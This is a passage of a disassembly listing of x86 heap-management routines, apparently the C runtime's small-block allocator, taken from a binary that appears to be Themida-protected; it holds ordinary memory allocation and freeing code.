; ---------------------------------------------------------------------------


loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]


loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx


loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi


loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi


loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------


loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]


loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB


loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------


loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DCFD4
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DCFCC
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DCFCC
		mov	eax, dword_4DCFD4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DCFD4
		mov	ecx, dword_4DCFCC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DCFD4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DCFD4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DCFD4


loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DCFD4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2780000h
		mov	eax, dword_4DCFD8
		mov	edx, dword_4DCFDC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DCFD4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DCFD8
		cmp	eax, dword_4DCFD4
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h


loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DCFDC
		mov	dword_4DCFD0, eax


loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DCFCC, edi
		mov	dword_4DCFD4, eax


loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DCFD8
		mov	edx, dword_4DCFDC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------


loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DCFD0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242


loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229


loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx


loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------


loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax


loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0


loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------


loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]


loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx


loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------


loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax


loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9


loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0


loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DCFD0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E


loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B


loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304


loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]


loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------


loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi


loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]


loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------


loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl


loc_41E466:				; DATA XREF: Themida_:0055B59Co
		or	[ebx+4], edi


loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]


loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------


loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]


loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DCFD4
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DCFCC
		jnz	short loc_41E4C7
		and	dword_4DCFD4, 0


loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DCFD8
		mov	ecx, dword_4DCFC8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DCFDC
		push	edi
		push	dword_4DCFE4
		nop
		call	near ptr 2830000h
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DCFC8, 10h
		mov	dword_4DCFDC, eax
		mov	eax, dword_4DCFD8


loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DCFDC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DCFE4
		lea	esi, [ecx+eax*4]
		call	near ptr 2790000h
		nop
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 28907B8h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DCFE4
		call	near ptr 2780000h
		nop


loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------


loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DCFD8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------


loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	near ptr 28907B8h
		nop
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------


loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]


loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5


loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi


loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------


loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi


loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------


loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx


loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------


loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]


loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------


loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------


loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi


loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi


loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------


loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
